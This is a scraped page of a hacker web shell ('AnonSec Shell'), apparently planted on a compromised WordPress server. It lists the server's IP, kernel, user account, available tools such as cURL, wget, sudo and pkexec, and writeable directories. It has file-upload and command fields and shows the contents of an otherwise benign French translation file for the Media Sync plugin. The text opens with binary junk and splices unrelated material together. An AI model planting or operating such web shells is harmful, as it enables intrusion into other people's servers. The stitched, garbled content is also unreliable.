%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/wp-content/languages/plugins/media-sync-fr_FR.po
# Translation of Plugins - Media Sync - Stable (latest release) in French (France)
# This file is distributed under the same license as the Plugins - Media Sync - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-12-25 15:49:03+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.3\n"
"Language: fr\n"
"Project-Id-Version: Plugins - Media Sync - Stable (latest release)\n"

#: includes/MediaSync.class.php:588
msgid "%s solves this by processing files in smaller batches."
msgstr "%s résout ce problème en traitant les fichiers par petits lots."

#: includes/MediaSync.class.php:585
msgid "Server has reached limits that prevented importing all selected files."
msgstr "Le serveur a atteint des limites qui ont empêché l’importation de tous les fichiers sélectionnés."

#: includes/MediaSync.class.php:282
msgid "Execution time limit reached (%s seconds)."
msgstr "Limite de temps d’exécution atteinte (%s secondes)."

#: includes/MediaSync.class.php:276
msgid "Memory limit reached (%s used)."
msgstr "Limite de mémoire atteinte (%s utilisés)."

#: includes/MediaSync.class.php:254
msgid "Caught error:"
msgstr "Erreur détectée :"

#: includes/MediaSync.class.php:251
msgid "Server has reached limits that prevent scanning all files at once."
msgstr "Le serveur a atteint des limites qui l’empêchent d’analyser tous les fichiers à la fois."

#: media-sync.php:37
msgid "Media Sync Pro"
msgstr "Media Sync Pro"

#: includes/MediaSync.class.php:891
msgid "Error updating attachment metadata (`wp_postmeta` table) for file: %s."
msgstr "Erreur de mise à jour des métadonnées du fichier joint (`wp_postmeta` table) pour le fichier : %s."

#: includes/MediaSync.class.php:874
msgid "Error processing filter media_sync_filter_before_update_metadata for file: %s."
msgstr "Erreur de traitement du filtre media_sync_filter_before_update_metadata pour le fichier : %s."

#: includes/MediaSync.class.php:842
msgid "Attachment metadata could not be generated from %s."
msgstr "Les métadonnées du fichier joint n’ont pas pu être générées à partir de %s."

#: includes/MediaSync.class.php:835
msgid "Error generating attachment metadata (`wp_postmeta` table) for file: %s."
msgstr "Erreur de génération des métadonnées du fichier joint (`wp_postmeta` table) pour le fichier : %s."

#: includes/MediaSync.class.php:817
msgid "Attach ID not received for inserted attachment (`wp_posts` table) for file: %s."
msgstr "ID du fichier joint non reçu pour le fichier joint inséré (`wp_posts` table) pour le fichier : %s."

#: includes/MediaSync.class.php:810
msgid "Error inserting attachment (`wp_posts` table) for file: %s."
msgstr "Erreur d’insertion du fichier joint (`wp_posts` table) pour le fichier : %s."

#: includes/MediaSync.class.php:795
msgid "File to import not found at path: %s."
msgstr "Fichier à importer introuvable au chemin : %s."

#: includes/MediaSync.class.php:775
msgid "Error preparing attachment data for file: %s."
msgstr "Erreur dans la préparation des données du fichier joint pour le fichier : %s."

#: includes/MediaSync.class.php:728
msgid "Error getting mime type for file: %s."
msgstr "Erreur d’obtention du type mime pour le fichier : %s."

#: includes/MediaSync.class.php:720
msgid "Invalid mime type for file: %s."
msgstr "Type mime invalide pour le fichier : %s."

#: includes/MediaSync.class.php:448
msgid "If file timestamp does not match the folder in which it is - it will construct the date/time based on the folder: %s."
msgstr "Si l’horodatage du fichier ne correspond pas au dossier dans lequel il se trouve, la date et l’heure seront calculées en fonction du dossier : %s."

#: includes/MediaSync.class.php:446
msgid "Smart file time"
msgstr "Heure intelligente du fichier"

#: includes/MediaSync.class.php:441
msgid "File modification timestamp - when it was last modified."
msgstr "Horodatage de modification du fichier - date à laquelle il a été modifié pour la dernière fois."

#: includes/MediaSync.class.php:439
msgid "File time"
msgstr "Heure du fichier"

#: includes/MediaSync.class.php:434
msgid "Defaults to what WordPress uses - current time."
msgstr "Par défaut, c’est ce que WordPress utilise : l’heure actuelle."

#: includes/MediaSync.class.php:432
msgid "Default"
msgstr "Par défaut"

#: includes/MediaSync.class.php:391
msgid "Preselected / default value for file date"
msgstr "Valeur présélectionnée/par défaut pour la date du fichier"

#: includes/MediaSync.class.php:384
msgid "Show \"Dry Run\" option"
msgstr "Afficher l’option « Essai à blanc »"

#: includes/MediaSync.class.php:377
msgid "Dry Run"
msgstr "Essai à blanc"

#: includes/MediaSync.class.php:361
msgid "Media Sync Settings"
msgstr "Réglages de Media Sync"

#: includes/MediaSync.class.php:162
msgid "To reduce additional actions related to file uploads (e.g. generating additional thumbnails)."
msgstr "Pour réduire les actions supplémentaires liées aux téléversements de fichiers (par exemple : générer des miniatures supplémentaires)."

#: includes/MediaSync.class.php:161
msgid "If you still get errors, please try disabling other plugins related to files/images."
msgstr "Si vous rencontrez encore des erreurs, essayez de désactiver d’autres extensions liées aux fichiers/images."

#: includes/MediaSync.class.php:159
msgid "A lower value might avoid some limits of your server (e.g. max_execution_time). "
msgstr "Une valeur inférieure peut permettre de contourner certaines limites de votre serveur (par exemple : max_execution_time). "

#: includes/MediaSync.class.php:158
msgid "The number of files to process per network request."
msgstr "Le nombre de fichiers à traiter par requête réseau."

#: includes/MediaSync.class.php:154
msgid "Batch Size:"
msgstr "Taille du lot :"

#: includes/MediaSync.class.php:149
msgid "Date/time to set for newly imported files"
msgstr "Date/heure à définir pour les fichiers nouvellement importés"

#: includes/MediaSync.class.php:71
msgid "Scan directory not found. Please check settings."
msgstr "Le répertoire d’analyse n’a pas été trouvé. Veuillez vérifier les réglages."

#. Author URI of the plugin
#: media-sync.php
msgid "https://mediasyncplugin.com/?utm_source=wordpress_dashboard&utm_medium=plugins_page&utm_campaign=pdal"
msgstr "https://mediasyncplugin.com/?utm_source=wordpress_dashboard&utm_medium=plugins_page&utm_campaign=pdal"

#. Author of the plugin
#: media-sync.php
msgid "Media Sync Team"
msgstr "L’équipe de Media Sync"

#: includes/MediaSync.class.php:228
msgid "No Results"
msgstr "Aucun résultat"

#: includes/MediaSync.class.php:203
msgid "Filter"
msgstr "Filtrer"

#: includes/MediaSync.class.php:198
msgid "Only files missing from Media Library"
msgstr "Uniquement les fichiers manquants depuis la médiathèque"

#: includes/MediaSync.class.php:196
msgid "All files"
msgstr "Tous les fichiers"

#: includes/MediaSync.class.php:194
msgid "Filter by type"
msgstr "Filtrer par type"

#: includes/MediaSync.class.php:120
msgid "Use this to see Media Library items that are missing actual files. This takes you to Media Library but with custom filter."
msgstr "Utilisez cette option pour afficher les éléments de la médiathèque dont les fichiers manquent. Cela vous envoi vers à la médiathèque, mais avec un filtre personnalisé."

#: includes/MediaSync.class.php:116
msgid "Filter Media Library"
msgstr "Filtrer la médiathèque"

#: includes/MediaSync.class.php:114
msgid "Sync - Media Library"
msgstr "Sync - Médiathèque"

#: includes/MediaSync.class.php:106
msgid "Use this to see content of upload dir: %s and import files to Media Library."
msgstr "Utilisez cette option pour voir le contenu du répertoire de téléversement : %s et importer des fichiers dans la médiathèque."

#: includes/MediaSync.class.php:98
msgid "Sync - uploads directory"
msgstr "Sync - Répertoire des téléversements"

#: media-sync.php:162
msgid "Without file"
msgstr "Sans fichier"

#: media-sync.php:160
msgid "With file"
msgstr "Avec fichier"

#: media-sync.php:155 media-sync.php:158
msgid "Filter by missing file"
msgstr "Filtrer par fichier manquant"

#: includes/MediaSync.class.php:557
msgid "In Trash"
msgstr "Dans la corbeille"

#: includes/MediaSync.class.php:555
msgid "Already in"
msgstr "Déjà là"

#: includes/MediaSync.class.php:551
msgid "items"
msgstr "éléments"

#: includes/MediaSync.class.php:551
msgid "item"
msgstr "élément"

#: includes/MediaSync.class.php:473 includes/MediaSync.class.php:522
msgid "File"
msgstr "Fichier"

#: includes/MediaSync.class.php:469
msgid "Select All"
msgstr "Tout sélectionner"

#: includes/MediaSync.class.php:188
msgid "Files already in Media Library will be skipped during import"
msgstr "Les fichiers déjà dans la médiathèque seront ignorés lors de l’importation"

#: includes/MediaSync.class.php:184
msgid "selected items"
msgstr "éléments sélectionnés"

#: includes/MediaSync.class.php:180
msgid "out of"
msgstr "sur"

#: includes/MediaSync.class.php:176
msgid "Imported"
msgstr "Importé"

#: includes/MediaSync.class.php:142
msgid "Dry Run (test without making database changes)"
msgstr "Essai à blanc (test sans modifications à la base de données)"

#: includes/MediaSync.class.php:134
msgid "Import Selected"
msgstr "Importer la sélection"

#: includes/MediaSync.class.php:102
msgid "Scan Files"
msgstr "Analyser les fichiers"

#: includes/MediaSync.class.php:87 includes/MediaSync.class.php:129
msgid "Re-scan"
msgstr "Réanalyser"

#: includes/MediaSync.class.php:86
msgid "Done! Highlighted files were successfully imported. %s to see changes."
msgstr "Terminé ! Les fichiers mis en surbrillance ont bien été importés. %s pour voir les modifications."

#: includes/MediaSync.class.php:83
msgid "Please backup your database! This plugin makes database changes."
msgstr "Veuillez sauvegarder la base de données ! Cette extension apporte des modifications à la base de données."

#: includes/MediaSync.class.php:60 includes/MediaSync.class.php:596
msgid "You do not have sufficient permissions to access this page."
msgstr "Vous n’avez pas les permissions suffisantes pour accéder à cette page."

#. Description of the plugin
#: media-sync.php
msgid "Simple plugin to scan uploads directory and bring files to Media Library."
msgstr "Extension simple pour analyser le répertoire des téléversements et rapporter des fichiers dans la médiathèque."

#. Plugin URI of the plugin
#: media-sync.php
msgid "https://wordpress.org/plugins/media-sync/"
msgstr "https://wordpress.org/plugins/media-sync/"

#. Plugin Name of the plugin
#: media-sync.php includes/MediaSync.class.php:75 media-sync.php:35
#: media-sync.php:52
msgid "Media Sync"
msgstr "Media Sync"

Anon7 - 2022
AnonSec Team